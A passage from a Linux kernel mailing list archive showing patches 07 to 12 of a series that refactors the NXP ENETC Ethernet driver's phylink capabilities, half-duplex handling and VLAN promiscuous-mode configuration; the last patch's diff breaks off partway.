* [PATCH RESEND v4 net-next 07/14] net: enetc: differentiate phylink capabilities for pseudo-MAC and standalone MAC
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Claudiu Manoil <claudiu.manoil@nxp.com>
The ENETC pseudo-MACs are proprietary internal links that do not
implement any standard MII interface, so restrict their supported PHY
interface modes to PHY_INTERFACE_MODE_INTERNAL only.
Since pseudo-MACs can operate at any speed between 10Mbps and 25Gbps
in multiples of 10Mbps, set their MAC capabilities to cover the full
range of standard full-duplex speeds: 10/100/1000/2500/5000/10000/
20000/25000 Mbps.
For standalone ENETC (v4), expand the supported interface modes to
include 10GBASER in addition to the existing RGMII, SGMII, 1000BASEX,
2500BASEX and USXGMII modes, with MAC capabilities up to 10G. MAC_1000
is replaced with MAC_1000FD to explicitly exclude 1000M half-duplex,
which is not supported.
Note that 10GBASE-R mode of ENETC v4 has not supported yet, the current
patch adds PHY_INTERFACE_MODE_10GBASER simply as preparation for the
upcoming support of the 10GBASE-R mode.
Signed-off-by: Claudiu Manoil <claudiu.manoil@nxp.com>
Signed-off-by: Wei Fang <wei.fang@nxp.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
---
drivers/net/ethernet/freescale/enetc/enetc.h | 2 +-
.../net/ethernet/freescale/enetc/enetc4_pf.c | 1 -
.../freescale/enetc/enetc_pf_common.c | 44 +++++++++++++------
3 files changed, 32 insertions(+), 15 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc.h b/drivers/net/ethernet/freescale/enetc/enetc.h
index 06a9f1ee0970..8839cfb49bcf 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc.h
@@ -1,5 +1,5 @@
/* SPDX-License-Identifier: (GPL-2.0+ OR BSD-3-Clause) */
-/* Copyright 2017-2019 NXP */
+/* Copyright 2017-2019, 2025-2026 NXP */
#include <linux/timer.h>
#include <linux/pci.h>
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
index f24269a48c26..75ee117e9b1d 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
@@ -602,7 +602,6 @@ static void enetc4_mac_config(struct enetc_pf *pf, unsigned int mode,
val |= IFMODE_SGMII;
break;
case PHY_INTERFACE_MODE_10GBASER:
- case PHY_INTERFACE_MODE_XGMII:
case PHY_INTERFACE_MODE_USXGMII:
val |= IFMODE_XGMII;
break;
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
index 3597cb81a7cc..781b22198ca8 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
@@ -1,5 +1,5 @@
// SPDX-License-Identifier: (GPL-2.0+ OR BSD-3-Clause)
-/* Copyright 2024 NXP */
+/* Copyright 2024-2026 NXP */
#include <linux/fsl/enetc_mdio.h>
#include <linux/of_mdio.h>
@@ -359,7 +359,8 @@ static bool enetc_port_has_pcs(struct enetc_pf *pf)
return (pf->if_mode == PHY_INTERFACE_MODE_SGMII ||
pf->if_mode == PHY_INTERFACE_MODE_1000BASEX ||
pf->if_mode == PHY_INTERFACE_MODE_2500BASEX ||
- pf->if_mode == PHY_INTERFACE_MODE_USXGMII);
+ pf->if_mode == PHY_INTERFACE_MODE_USXGMII ||
+ pf->if_mode == PHY_INTERFACE_MODE_10GBASER);
}
int enetc_mdiobus_create(struct enetc_pf *pf, struct device_node *node)
@@ -400,25 +401,42 @@ int enetc_phylink_create(struct enetc_ndev_priv *priv, struct device_node *node,
{
struct enetc_pf *pf = enetc_si_priv(priv->si);
struct phylink *phylink;
+ unsigned long mac_caps;
int err;
pf->phylink_config.dev = &priv->ndev->dev;
pf->phylink_config.type = PHYLINK_NETDEV;
- pf->phylink_config.mac_capabilities = MAC_ASYM_PAUSE | MAC_SYM_PAUSE |
- MAC_10 | MAC_100 | MAC_1000 | MAC_2500FD;
__set_bit(PHY_INTERFACE_MODE_INTERNAL,
pf->phylink_config.supported_interfaces);
- __set_bit(PHY_INTERFACE_MODE_SGMII,
- pf->phylink_config.supported_interfaces);
- __set_bit(PHY_INTERFACE_MODE_1000BASEX,
- pf->phylink_config.supported_interfaces);
- __set_bit(PHY_INTERFACE_MODE_2500BASEX,
- pf->phylink_config.supported_interfaces);
- __set_bit(PHY_INTERFACE_MODE_USXGMII,
- pf->phylink_config.supported_interfaces);
- phy_interface_set_rgmii(pf->phylink_config.supported_interfaces);
+ mac_caps = MAC_ASYM_PAUSE | MAC_SYM_PAUSE;
+ if (!enetc_is_pseudo_mac(priv->si)) {
+ mac_caps |= MAC_10 | MAC_100 | MAC_1000FD | MAC_2500FD;
+
+ __set_bit(PHY_INTERFACE_MODE_SGMII,
+ pf->phylink_config.supported_interfaces);
+ __set_bit(PHY_INTERFACE_MODE_1000BASEX,
+ pf->phylink_config.supported_interfaces);
+ __set_bit(PHY_INTERFACE_MODE_2500BASEX,
+ pf->phylink_config.supported_interfaces);
+ __set_bit(PHY_INTERFACE_MODE_USXGMII,
+ pf->phylink_config.supported_interfaces);
+
+ if (!is_enetc_rev1(priv->si)) {
+ mac_caps |= MAC_5000FD | MAC_10000FD;
+ __set_bit(PHY_INTERFACE_MODE_10GBASER,
+ pf->phylink_config.supported_interfaces);
+ }
+
+ phy_interface_set_rgmii(pf->phylink_config.supported_interfaces);
+ } else {
+ mac_caps |= MAC_10FD | MAC_100FD | MAC_1000FD | MAC_2500FD |
+ MAC_5000FD | MAC_10000FD | MAC_20000FD |
+ MAC_25000FD;
+ }
+
+ pf->phylink_config.mac_capabilities = mac_caps;
phylink = phylink_create(&pf->phylink_config, of_fwnode_handle(node),
pf->if_mode, ops);
if (IS_ERR(phylink)) {
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 08/14] net: enetc: remove invalid code from enetc4_pl_mac_link_up()
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
When adding phylink MAC operations support to the NETC switch driver,
Russell King pointed out several pieces of invalid logic in the
.mac_link_up() implementation (see [1] and [2]):
1) Half-duplex backpressure is not supported by the kernel, Ethernet
relies on packet dropping for congestion management.
2) phylink_autoneg_inband() is unnecessary, as RGMII in-band status is
not supported.
3) TX and RX pause are disabled in half-duplex mode, so there is no
need to override them in .mac_link_up().
The same invalid logic is also present in enetc4_pl_mac_link_up(), so
remove the invalid code from it.
Given enetc4_set_hd_flow_control() is removed, pf->caps.half_duplex has
also become useless and should therefore be removed as well.
Link: https://lore.kernel.org/imx/acEIQqI-_oyCym8O@shell.armlinux.org.uk/ # 1
Link: https://lore.kernel.org/imx/acEFwqmAvWls_9Ef@shell.armlinux.org.uk/ # 2
Signed-off-by: Wei Fang <wei.fang@nxp.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
---
.../net/ethernet/freescale/enetc/enetc4_hw.h | 2 -
.../net/ethernet/freescale/enetc/enetc4_pf.c | 38 +------------------
.../net/ethernet/freescale/enetc/enetc_pf.h | 1 -
3 files changed, 1 insertion(+), 40 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_hw.h b/drivers/net/ethernet/freescale/enetc/enetc4_hw.h
index dea1fd0b8175..09025e7a2a3a 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_hw.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_hw.h
@@ -135,7 +135,6 @@
#define ENETC4_PSIVHFR1(a) ((a) * 0x80 + 0x2064)
#define ENETC4_PMCAPR 0x4004
-#define PMCAPR_HD BIT(8)
#define PMCAPR_FP GENMASK(10, 9)
/* Port capability register */
@@ -198,7 +197,6 @@
#define PM_CMD_CFG_CNT_FRM_EN BIT(13)
#define PM_CMD_CFG_TXP BIT(15)
#define PM_CMD_CFG_SEND_IDLE BIT(16)
-#define PM_CMD_CFG_HD_FCEN BIT(18)
#define PM_CMD_CFG_SFD BIT(21)
#define PM_CMD_CFG_TX_FLUSH BIT(22)
#define PM_CMD_CFG_TX_LOWP_EN BIT(23)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
index 75ee117e9b1d..859b02f5170a 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
@@ -29,9 +29,6 @@ static void enetc4_get_port_caps(struct enetc_pf *pf)
val = enetc_port_rd(hw, ENETC4_ECAPR2);
pf->caps.num_rx_bdr = (val & ECAPR2_NUM_RX_BDR) >> 16;
pf->caps.num_tx_bdr = val & ECAPR2_NUM_TX_BDR;
-
- val = enetc_port_rd(hw, ENETC4_PMCAPR);
- pf->caps.half_duplex = (val & PMCAPR_HD) ? 1 : 0;
}
static void enetc4_get_psi_hw_features(struct enetc_si *si)
@@ -588,11 +585,6 @@ static void enetc4_mac_config(struct enetc_pf *pf, unsigned int mode,
case PHY_INTERFACE_MODE_RGMII_RXID:
case PHY_INTERFACE_MODE_RGMII_TXID:
val |= IFMODE_RGMII;
- /* We need to enable auto-negotiation for the MAC
- * if its RGMII interface support In-Band status.
- */
- if (phylink_autoneg_inband(mode))
- val |= PM_IF_MODE_ENA;
break;
case PHY_INTERFACE_MODE_RMII:
val |= IFMODE_RMII;
@@ -695,22 +687,6 @@ static void enetc4_set_rmii_mac(struct enetc_pf *pf, int speed, int duplex)
enetc_port_mac_wr(si, ENETC4_PM_IF_MODE(0), val);
}
-static void enetc4_set_hd_flow_control(struct enetc_pf *pf, bool enable)
-{
- struct enetc_si *si = pf->si;
- u32 old_val, val;
-
- if (!pf->caps.half_duplex)
- return;
-
- old_val = enetc_port_mac_rd(si, ENETC4_PM_CMD_CFG(0));
- val = u32_replace_bits(old_val, enable ? 1 : 0, PM_CMD_CFG_HD_FCEN);
- if (val == old_val)
- return;
-
- enetc_port_mac_wr(si, ENETC4_PM_CMD_CFG(0), val);
-}
-
static void enetc4_set_rx_pause(struct enetc_pf *pf, bool rx_pause)
{
struct enetc_si *si = pf->si;
@@ -886,13 +862,11 @@ static void enetc4_pl_mac_link_up(struct phylink_config *config,
struct enetc_pf *pf = phylink_to_enetc_pf(config);
struct enetc_si *si = pf->si;
struct enetc_ndev_priv *priv;
- bool hd_fc = false;
priv = netdev_priv(si->ndev);
enetc4_set_port_speed(priv, speed);
- if (!phylink_autoneg_inband(mode) &&
- phy_interface_mode_is_rgmii(interface))
+ if (phy_interface_mode_is_rgmii(interface))
enetc4_set_rgmii_mac(pf, speed, duplex);
if (interface == PHY_INTERFACE_MODE_RMII)
@@ -904,18 +878,8 @@ static void enetc4_pl_mac_link_up(struct phylink_config *config,
*/
if (priv->active_offloads & ENETC_F_QBU)
tx_pause = false;
- } else { /* DUPLEX_HALF */
- if (tx_pause || rx_pause)
- hd_fc = true;
-
- /* As per 802.3 annex 31B, PAUSE frames are only supported
- * when the link is configured for full duplex operation.
- */
- tx_pause = false;
- rx_pause = false;
}
- enetc4_set_hd_flow_control(pf, hd_fc);
enetc4_set_tx_pause(pf, priv->num_rx_rings, tx_pause);
enetc4_set_rx_pause(pf, rx_pause);
enetc4_mac_tx_enable(pf);
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf.h b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
index 6f15f9ea1664..7e886dc49997 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
@@ -17,7 +17,6 @@ struct enetc_vf_state {
};
struct enetc_port_caps {
- u32 half_duplex:1;
int num_vsi;
int num_msix;
int num_rx_bdr;
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 09/14] net: enetc: open-code enetc4_set_default_si_vlan_promisc()
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
The function enetc4_set_default_si_vlan_promisc() is only called once,
from enetc4_configure_port_si(). Open-code the loop at the call site
and remove the single-use wrapper.
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
drivers/net/ethernet/freescale/enetc/enetc4_pf.c | 15 +++------------
1 file changed, 3 insertions(+), 12 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
index 859b02f5170a..505e4abf6c37 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
@@ -307,17 +307,6 @@ static void enetc4_pf_set_si_vlan_promisc(struct enetc_hw *hw, int si, bool en)
enetc_port_wr(hw, ENETC4_PSIPVMR, val);
}
-static void enetc4_set_default_si_vlan_promisc(struct enetc_pf *pf)
-{
- struct enetc_hw *hw = &pf->si->hw;
- int num_si = pf->caps.num_vsi + 1;
- int i;
-
- /* enforce VLAN promiscuous mode for all SIs */
- for (i = 0; i < num_si; i++)
- enetc4_pf_set_si_vlan_promisc(hw, i, true);
-}
-
/* Allocate the number of MSI-X vectors for per SI. */
static void enetc4_set_si_msix_num(struct enetc_pf *pf)
{
@@ -361,7 +350,9 @@ static void enetc4_configure_port_si(struct enetc_pf *pf)
/* Outer VLAN tag will be used for VLAN filtering */
enetc_port_wr(hw, ENETC4_PSIVLANFMR, PSIVLANFMR_VS);
- enetc4_set_default_si_vlan_promisc(pf);
+ /* Enforce VLAN promiscuous mode for all SIs */
+ for (int i = 0; i < pf->caps.num_vsi + 1; i++)
+ enetc4_pf_set_si_vlan_promisc(hw, i, true);
/* Disable SI MAC multicast & unicast promiscuous */
enetc_port_wr(hw, ENETC4_PSIPMMR, 0);
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 10/14] net: enetc: refactor SI VLAN promiscuous mode configuration
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
Remove the enetc_set_vlan_promisc(), enetc_enable_si_vlan_promisc() and
enetc_disable_si_vlan_promisc() functions, and introduce a new unified
function enetc_set_si_vlan_promisc() to enable or disable VLAN
promiscuous mode for a specific SI. This simplifies the logic and makes
the interface more straightforward. The vlan_promisc_simap field in
struct enetc_pf is no longer needed to track the current state.
As ENETC V4 only changes the address offset of PSIPVMR register compared
to V1 without any functional difference, enetc_set_si_vlan_promisc() can
be moved to enetc_pf_common.c in the future with minor adjustments to be
reused by the ENETC V4 driver
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
.../net/ethernet/freescale/enetc/enetc_hw.h | 5 ++-
.../net/ethernet/freescale/enetc/enetc_pf.c | 36 ++++++++-----------
.../net/ethernet/freescale/enetc/enetc_pf.h | 1 -
3 files changed, 16 insertions(+), 26 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_hw.h b/drivers/net/ethernet/freescale/enetc/enetc_hw.h
index 66bfda60da9c..16da732dc5de 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_hw.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc_hw.h
@@ -185,9 +185,8 @@ enum enetc_bdr_type {TX, RX};
#define PSIPMMR_SI_MAC_MP(n) BIT((n) + 16)
#define ENETC_PSIPVMR 0x001c
-#define ENETC_VLAN_PROMISC_MAP_ALL 0x7
-#define ENETC_PSIPVMR_SET_VP(simap) ((simap) & 0x7)
-#define ENETC_PSIPVMR_SET_VUTA(simap) (((simap) & 0x7) << 16)
+#define PSIPVMR_SI_VLAN_P(n) BIT(n) /* n = SI index */
+
#define ENETC_PSIPMAR0(n) (0x0100 + (n) * 0x8) /* n = SI index */
#define ENETC_PSIPMAR1(n) (0x0104 + (n) * 0x8)
#define ENETC_PVCLCTR 0x0208
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf.c b/drivers/net/ethernet/freescale/enetc/enetc_pf.c
index db2a800a7aaf..afc02ed62c77 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf.c
@@ -42,24 +42,20 @@ static void enetc_pf_destroy_pcs(struct phylink_pcs *pcs)
lynx_pcs_destroy(pcs);
}
-static void enetc_set_vlan_promisc(struct enetc_hw *hw, char si_map)
+static void enetc_set_si_vlan_promisc(struct enetc_si *si, int si_id,
+ bool promisc)
{
- u32 val = enetc_port_rd(hw, ENETC_PSIPVMR);
+ struct enetc_hw *hw = &si->hw;
+ u32 val;
- val &= ~ENETC_PSIPVMR_SET_VP(ENETC_VLAN_PROMISC_MAP_ALL);
- enetc_port_wr(hw, ENETC_PSIPVMR, ENETC_PSIPVMR_SET_VP(si_map) | val);
-}
+ val = enetc_port_rd(hw, ENETC_PSIPVMR);
-static void enetc_enable_si_vlan_promisc(struct enetc_pf *pf, int si_idx)
-{
- pf->vlan_promisc_simap |= BIT(si_idx);
- enetc_set_vlan_promisc(&pf->si->hw, pf->vlan_promisc_simap);
-}
+ if (promisc)
+ val |= PSIPVMR_SI_VLAN_P(si_id);
+ else
+ val &= ~PSIPVMR_SI_VLAN_P(si_id);
-static void enetc_disable_si_vlan_promisc(struct enetc_pf *pf, int si_idx)
-{
- pf->vlan_promisc_simap &= ~BIT(si_idx);
- enetc_set_vlan_promisc(&pf->si->hw, pf->vlan_promisc_simap);
+ enetc_port_wr(hw, ENETC_PSIPVMR, val);
}
static void enetc_set_isol_vlan(struct enetc_hw *hw, int si, u16 vlan, u8 qos)
@@ -441,10 +437,9 @@ static void enetc_configure_port(struct enetc_pf *pf)
/* split up RFS entries */
enetc_port_assign_rfs_entries(pf->si);
-
/* enforce VLAN promisc mode for all SIs */
- pf->vlan_promisc_simap = ENETC_VLAN_PROMISC_MAP_ALL;
- enetc_set_vlan_promisc(hw, pf->vlan_promisc_simap);
+ for (int i = 0; i < pf->total_vfs + 1; i++)
+ enetc_set_si_vlan_promisc(pf->si, i, true);
enetc_port_wr(hw, ENETC_PSIPMMR, 0);
@@ -466,12 +461,9 @@ static int enetc_pf_set_features(struct net_device *ndev,
}
if (changed & NETIF_F_HW_VLAN_CTAG_FILTER) {
- struct enetc_pf *pf = enetc_si_priv(priv->si);
+ bool promisc = !(features & NETIF_F_HW_VLAN_CTAG_FILTER);
- if (!!(features & NETIF_F_HW_VLAN_CTAG_FILTER))
- enetc_disable_si_vlan_promisc(pf, 0);
- else
- enetc_enable_si_vlan_promisc(pf, 0);
+ enetc_set_si_vlan_promisc(priv->si, 0, promisc);
}
if (changed & NETIF_F_LOOPBACK)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf.h b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
index 7e886dc49997..1bd3063a3be3 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
@@ -45,7 +45,6 @@ struct enetc_pf {
struct work_struct msg_task;
char msg_int_name[ENETC_INT_NAME_MAX];
- char vlan_promisc_simap; /* bitmap of SIs in VLAN promisc mode */
DECLARE_BITMAP(vlan_ht_filter, ENETC_VLAN_HT_SIZE);
DECLARE_BITMAP(active_vlans, VLAN_N_VID);
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 11/14] net: enetc: move enetc_set_si_vlan_promisc() to enetc_pf_common.c
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
The PSIPVMR in ENETC v4 has the same bit layout and functionality as the
PSIPVMR register in ENETC v1: bit n (n <= 15) controls VLAN promiscuous
mode for SI n. The only difference between the two hardware generations
is the register address offset.
Since the register functionality is identical, the VLAN promiscuous mode
setting code can be shared between ENETC v1 and v4 drivers.
Move enetc_set_si_vlan_promisc() from enetc_pf.c to enetc_pf_common.c
and export it so that it can be shared between the two drivers. Add a
revision check using is_enetc_rev1() to select the correct register
offset (ENETC_PSIPVMR for v1 and ENETC4_PSIPVMR for v4) while keeping
the same logic.
Remove the v4-specific enetc4_pf_set_si_vlan_promisc() from enetc4_pf.c
and replace its call site with the new common enetc_set_si_vlan_promisc()
to eliminate code duplication.
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
.../net/ethernet/freescale/enetc/enetc4_pf.c | 17 ++------------
.../net/ethernet/freescale/enetc/enetc_pf.c | 16 --------------
.../freescale/enetc/enetc_pf_common.c | 22 +++++++++++++++++++
.../freescale/enetc/enetc_pf_common.h | 1 +
4 files changed, 25 insertions(+), 31 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
index 505e4abf6c37..cab79f81d6fe 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
@@ -295,18 +295,6 @@ static void enetc4_allocate_si_rings(struct enetc_pf *pf)
enetc4_default_rings_allocation(pf);
}
-static void enetc4_pf_set_si_vlan_promisc(struct enetc_hw *hw, int si, bool en)
-{
- u32 val = enetc_port_rd(hw, ENETC4_PSIPVMR);
-
- if (en)
- val |= BIT(si);
- else
- val &= ~BIT(si);
-
- enetc_port_wr(hw, ENETC4_PSIPVMR, val);
-}
-
/* Allocate the number of MSI-X vectors for per SI. */
static void enetc4_set_si_msix_num(struct enetc_pf *pf)
{
@@ -352,7 +340,7 @@ static void enetc4_configure_port_si(struct enetc_pf *pf)
/* Enforce VLAN promiscuous mode for all SIs */
for (int i = 0; i < pf->caps.num_vsi + 1; i++)
- enetc4_pf_set_si_vlan_promisc(hw, i, true);
+ enetc_set_si_vlan_promisc(pf->si, i, true);
/* Disable SI MAC multicast & unicast promiscuous */
enetc_port_wr(hw, ENETC4_PSIPMMR, 0);
@@ -518,12 +506,11 @@ static int enetc4_pf_set_features(struct net_device *ndev,
{
netdev_features_t changed = ndev->features ^ features;
struct enetc_ndev_priv *priv = netdev_priv(ndev);
- struct enetc_hw *hw = &priv->si->hw;
if (changed & NETIF_F_HW_VLAN_CTAG_FILTER) {
bool promisc_en = !(features & NETIF_F_HW_VLAN_CTAG_FILTER);
- enetc4_pf_set_si_vlan_promisc(hw, 0, promisc_en);
+ enetc_set_si_vlan_promisc(priv->si, 0, promisc_en);
}
if (changed & NETIF_F_LOOPBACK)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf.c b/drivers/net/ethernet/freescale/enetc/enetc_pf.c
index afc02ed62c77..a509929f89f2 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf.c
@@ -42,22 +42,6 @@ static void enetc_pf_destroy_pcs(struct phylink_pcs *pcs)
lynx_pcs_destroy(pcs);
}
-static void enetc_set_si_vlan_promisc(struct enetc_si *si, int si_id,
- bool promisc)
-{
- struct enetc_hw *hw = &si->hw;
- u32 val;
-
- val = enetc_port_rd(hw, ENETC_PSIPVMR);
-
- if (promisc)
- val |= PSIPVMR_SI_VLAN_P(si_id);
- else
- val &= ~PSIPVMR_SI_VLAN_P(si_id);
-
- enetc_port_wr(hw, ENETC_PSIPVMR, val);
-}
-
static void enetc_set_isol_vlan(struct enetc_hw *hw, int si, u16 vlan, u8 qos)
{
u32 val = 0;
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
index 781b22198ca8..d32a195a04c9 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.c
@@ -171,6 +171,28 @@ void enetc_set_si_mc_hash_filter(struct enetc_si *si, int si_id, u64 hash)
}
EXPORT_SYMBOL_GPL(enetc_set_si_mc_hash_filter);
+void enetc_set_si_vlan_promisc(struct enetc_si *si, int si_id, bool promisc)
+{
+ struct enetc_hw *hw = &si->hw;
+ int psipvmr_off;
+ u32 val;
+
+ if (is_enetc_rev1(si))
+ psipvmr_off = ENETC_PSIPVMR;
+ else
+ psipvmr_off = ENETC4_PSIPVMR;
+
+ val = enetc_port_rd(hw, psipvmr_off);
+
+ if (promisc)
+ val |= PSIPVMR_SI_VLAN_P(si_id);
+ else
+ val &= ~PSIPVMR_SI_VLAN_P(si_id);
+
+ enetc_port_wr(hw, psipvmr_off, val);
+}
+EXPORT_SYMBOL_GPL(enetc_set_si_vlan_promisc);
+
void enetc_pf_netdev_setup(struct enetc_si *si, struct net_device *ndev,
const struct net_device_ops *ndev_ops)
{
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.h b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.h
index bf9029b0a017..8243ce0de57f 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf_common.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf_common.h
@@ -21,6 +21,7 @@ void enetc_set_si_uc_promisc(struct enetc_si *si, int si_id, bool promisc);
void enetc_set_si_mc_promisc(struct enetc_si *si, int si_id, bool promisc);
void enetc_set_si_uc_hash_filter(struct enetc_si *si, int si_id, u64 hash);
void enetc_set_si_mc_hash_filter(struct enetc_si *si, int si_id, u64 hash);
+void enetc_set_si_vlan_promisc(struct enetc_si *si, int si_id, bool promisc);
static inline u16 enetc_get_ip_revision(struct enetc_hw *hw)
{
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 12/14] net: enetc: remove redundant num_vsi field from enetc_port_caps
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
The num_vsi field in struct enetc_port_caps is populated by reading the
NUM_VSI field of the ECAPR1 register, which reports the number of VSIs
supported by the ENETC4 port. When CONFIG_PCI_IOV is enabled, this value
always matches pf->total_vfs, which is obtained from the read-only
PCI_SRIOV_TOTAL_VF register via pci_sriov_get_totalvfs() during probe.
Both ECAPR1[NUM_VSI] and PCI_SRIOV_TOTAL_VF are derived from the same
IERB register EaVFRIDAR[NUM_VF] (a 4-bit field), so they are guaranteed
to be equal. When CONFIG_PCI_IOV is disabled, pci_sriov_get_totalvfs()
returns 0, but this is benign since pci_enable_sriov() is also stubbed
to return -ENODEV, so no VF can be created, and enetc4_enable_all_si()
only enables the PF SI (PSI).
Since pf->total_vfs already reflects the number of VFs that can actually
be used, and is the established convention in the sibling FSL_ENETC PF
driver, there is no need to read and cache num_vsi separately in the port
capabilities structure. Remove the num_vsi field from enetc_port_caps,
and replace all uses of pf->caps.num_vsi with pf->total_vfs in the ring
allocation, SI enable, and debugfs code paths. Note that in the MSI-X
configuration, it is still necessary to obtain the actual number of VSIs
from ECAPR1.
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
.../ethernet/freescale/enetc/enetc4_debugfs.c | 13 ++-
.../net/ethernet/freescale/enetc/enetc4_pf.c | 86 ++++++++++++++-----
.../net/ethernet/freescale/enetc/enetc_pf.h | 1 -
3 files changed, 68 insertions(+), 32 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_debugfs.c b/drivers/net/ethernet/freescale/enetc/enetc4_debugfs.c
index be378bf8f74d..5029038bf99f 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_debugfs.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_debugfs.c
@@ -28,17 +28,14 @@ static void enetc_show_si_mac_hash_filter(struct seq_file *s, int i)
static int enetc_mac_filter_show(struct seq_file *s, void *data)
{
- struct enetc_si *si = s->private;
- struct enetc_hw *hw = &si->hw;
+ struct enetc_pf *pf = enetc_si_priv(s->private);
+ struct enetc_hw *hw = &pf->si->hw;
+ int num_si = pf->total_vfs + 1;
struct maft_entry_data maft;
struct ntmp_user *user;
- struct enetc_pf *pf;
u32 val, entry_id;
- int i, num_si;
int err = 0;
